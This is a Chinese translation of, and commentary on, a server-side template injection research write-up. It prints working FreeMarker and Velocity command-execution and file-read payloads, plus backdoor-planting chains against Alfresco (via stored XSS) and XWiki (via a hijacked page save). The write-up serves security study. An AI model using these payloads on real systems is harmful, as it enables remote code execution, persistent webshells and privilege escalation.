最近看了這篇文章,其實也不是新技術,但是作者給出的兩個攻擊案例很不錯,看到drops里面有人翻譯了這篇文章,但是沒有把攻擊案例翻譯出來,于是把這部分內容補充上。這兩個案例分別針對FreeMarker
和Velocity
,所以把作者針對這兩個模板引擎編寫Exploit的過程也翻譯出來。
很多的模板引擎都會試圖限制模板程序執行任意代碼能力,來防止應用層邏輯對表達式引擎的攻擊。還有一些模板引擎則嘗試通過沙盒等手段來安全處理不可信的用戶輸入。在這些措施之下,開發一個模板后門變得非常有挑戰性。
FreeMarke是最流行的Java模板之一,也是最頻繁的交給用戶操作的模板。FreeMarker官網解釋了允許“用戶提供”模板的危險性:
對應翻譯:
22.可以允許用戶上傳模板文件嗎,這對安全性有影響嗎? 一般來說,你不應該允許用戶做這樣的操作,除非是管理員或者可信用戶。考慮到模板就是和*.java文件類似的源代碼文件。如果你依然想要允許用戶上傳模板文件,這里是你應該考慮的東西: http://freemarker.org/docs/app_faq.html#faq_template_uploading_security
在一些類似DoS這種低風險安全問題之后,我們可以看到下面這個:
對應翻譯:
內置的new
操作符 (Configuration.setNewBuiltinClassResolver,Environment.setNewBuiltinClassResolver
):在模板文件中像這樣使用”com.example.SomeClass”?new()
,這個對FTL庫來說很重要,但是在正常的模板文件中時不需要使用。FreeMarker中包含一個TemplateModel
接口,這個接口可以用于構造任意java對象,new
操作符可以實例化TemplateModel
的實現類。有一些危險的TemplateModel
實現類有可能會在classpath中。 就算一個類沒有實現TemplateModel
接口,這個類里面的靜態代碼塊也會被執行。為了避免這種情況出現,你可以使用TemplateClassResolver
類來制約對類的訪問,像下面這樣: TemplateClassResolver.ALLOWS_NOTHING_RESOLVER
這條警告略顯神秘,但是它讓我們想到通過內置的new操作符來完成exp也許是可以的。讓我們看一下關于new操作符的文檔:
對應翻譯:
這個內置的操作符需要引起安全關注,因為模板的編寫人可以通過它來構造任意java對象然后使用這些構造處理的java對象,只要他們實現了TemplateModel
接口。而且模板編寫者還能夠觸發類中靜態代碼塊中的代碼,即使這個類沒有實現TemplateModel
接口。如果你允許不是很信任的用戶上傳模板,你應該看一下下面這個主題。 http://freemarker.org/docs/ref_builtins_expert.html#ref_builtin_new
TemplateModel
的實現類中存在對我們有用的類嗎?讓我們來看一下這個接口的JavaDoc:
一個類的名字出現了:Execute
。
查看這個類的詳情可以發現它能夠做我們想要做的事:接收輸入并且執行
使用它非常簡單:
<#assign ex="freemarker.template.utility.Execute"?new()>
${ ex("id") }
uid=119(tomcat7) gid=127(tomcat7) groups=127(tomcat7)
這個payload在后面將會非常有用。
經過對TemplateModel
的其他實現類進行研究,發現ObjectConstructor
類同樣很有用,從名字上就可以看出來,這個類是用來構造其他類的對象的,看一下代碼就可以明白如何使用了:
通過代碼可以看到提供類名稱和構造函數的參數,就可以利用ObjectConstructor
類構造我們想要的類,有了這個我們就可以執行任意java代碼了,下面給出兩個實例,一個是執行命令,另一個是文件讀取。
命令執行:
<#assign ob="freemarker.template.utility.ObjectConstructor"?new()>
<#assign br=ob("java.io.BufferedReader",ob("java.io.InputStreamReader",ob("java.lang.ProcessBuilder","ifconfig").start().getInputStream())) >
<#list 1..10000 as t>
<#assign line=br.readLine()!"null">
<#if line=="null">
<#break>
</#if>
${line}
${"<br>"}
</#list>
文件讀取:
<#assign ob="freemarker.template.utility.ObjectConstructor"?new()>
<#assign br=ob("java.io.BufferedReader",ob("java.io.InputStreamReader",ob("java.io.FileInputStream","/etc/passwd"))) >
<#list 1..10000 as t>
<#assign line=br.readLine()!"null">
<#if line=="null">
<#break>
</#if>
${line?html}
${"<br>"}
</#list>
Velocity
是另一個流行的Java模板框架,非常難exploit。沒有“安全注意事項”頁面來指出存在風險的函數和內部變量。下面這張截圖顯示的是用Burp暴力破解變量名,左側是payload右邊是服務器的返回值。
變量class
看起來有用,因為它返回了一個Object
類的Class
對象。通過Google找到了這個鏈接https://velocity.apache.org/tools/releases/2.0/summary.html:
可以看到一個方法和一個屬性:
我們可以把$class.inspect
和$class.type
結合起來構造任意的對象。然后我們就可以通過Runtime.exec()
執行任意命令了。這個想法用下面的代碼可以確認,這段代碼會造成一個延遲。
$class.inspect("java.lang.Runtime").type.getRuntime().exec("sleep 5").waitFor()
[5 second time delay]
0
獲取命令執行結果有一點麻煩:
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end
tomcat7
不得不說原文作者的方法有點麻煩,而且這種方式只能用在Velocity Tool
中,不能用在Velocity Engine
中,其實這個直接用反射就可以,代碼如下:
#set ($exp = "exp")
$exp.getClass().forName("java.lang.Runtime").getRuntime().exec("whoami")
Alfresco 是一個CMS系統。低權限用戶可以借助一個存儲XSS漏洞,利用FreeMarker模板注入方式獲取WebShell。前面創建的FreeMarker后門可以直接使用,但是我把它擴展成了用請求參數作為命令的形式:
<#assign ex="freemarker.template.utility.Execute"?new()>
${ ex(url.getArgs())}
低權限用戶沒有權限編輯模板,但是可以通過存儲XSS利用管理員賬戶來安裝這個后門。我編寫了下面的JavaScript代碼來完成這種攻擊:
#!javascript
tok = /Alfresco-CSRFToken=([^;]*)/.exec(document.cookie)[1];
tok = decodeURIComponent(tok) do_csrf=new XMLHttpRequest(); do_csrf.open("POST","http://"+document.domain+":8080/share/proxy/alfresco/api/node/workspace /SpacesStore/59d3cbdc-70cb-419e-a325-759a4c307304/formprocessor",false); do_csrf.setRequestHeader('Content-Type','application/json; charset=UTF-8'); do_csrf.setRequestHeader('Alfresco-CSRFToken',tok); do_csrf.send('{"prop_cm_name":"folder.get.html.ftl","prop_cm_content":"&lgt;#assign ex=\\"freemarker.template.utility.Execute\\"?new()> ${ ex(url.getArgs())}","prop_cm_description":""}');
模板的GUID是有差別的,但是低權限的用戶也可以很容易的通過“數據字典”獲得。此外和其他應用的管理員可以控制整個web服務器不同,alfresco系統管理員可以做的操作是有嚴格限制的。
XWiki Enterprise是一個專業wiki程序。在默認配置情況下,匿名的用戶可以注冊用戶并且編輯wiki頁面時可以嵌入Velocity模板代碼。這種特性讓它成為了模板注入的理想目標。然而,前面創建的Velocity payload是不能用的,原因是$class在這里是不能使用的。
XWiki對于Velocity是這樣說的:
對應翻譯:
XWiki沙盒通過提供安全的對象訪問,并且每個API調用都會檢測權限,禁止對未授權的資源進行操作,所以不需要特別的權限控制。其他腳本語言需要腳本語言編寫人有權限執行他們,但是除此之外,訪問的是服務器上的所有資源。
…… 沒有權限就不能實例化對象,只能使用文字和XWiki APIs提供的安全的資源。如果按照XWiki提供的正確方式,XWiki可以安全的開發出大量的應用來。
…… 瀏覽包含腳本的頁面是不需要擁有Programming權限的,只有在保存的時候需要。 http://platform.xwiki.org/xwiki/bin/view/DevGuide/Scripting
換句話來說,XWiki不僅支持Velocity,也支持Groovy和Python這種沒有沙盒的腳本。然而這種操作需要programming權限。這是個好事,因為它把提權轉變成了任意代碼執行。由于我們只能使用Velocity,我們必須使用XWiki API。
$doc類又一些很有趣的方法,聰明的讀者可能會發現一個缺陷:
一個wiki頁面的內容作者是最后一個編輯它的用戶。save
方法和saveAsAuthor
方法的不同說明,save
方法不會用作者身份保存內容,而是用當前訪問頁面用戶的身份。換句話說,一個低權限用戶可以創建一個wiki頁面,當擁有programming權限的用戶查看并且編輯保存這個頁面的時候腳本就會執行。我們來注入下面這個Python后門:
#!python
from subprocess import check_output
q = request.get('q') or 'true'
q = q.split(' ')
print ''+check_output(q)+''
我們只需要添加一些代碼來獲取管理員的權限:
innocent content
#if( $doc.hasAccessLevel("programming") )
$doc.setContent("
innocent content
from subprocess import check_output
q = request.get('q') or 'true'
q = q.split(' ')
print ''+check_output(q)+''
")
$doc.save()
#end
當包含有這樣內容的頁面被一個有programming權限的用戶查看的時候,后門會自動安裝。之后所有訪問這個頁面的人都可以執行任意命令了:
作者提出的這種攻擊思路還是很不錯的,以前也了解這種模板文件可以用來執行任意代碼,但是沒有很深入的去思考進一步的利用方式,傳統的攻擊思路一般是獲取后臺管理員權限,然后利用上傳等漏洞getshell,但其實后臺編輯模板的功能很多時候就可以直接執行任意代碼,經過測試大部分具有編輯模板功能的應用都存在類似問題,看來在攻擊過程中對技術理解越透徹思路就越廣。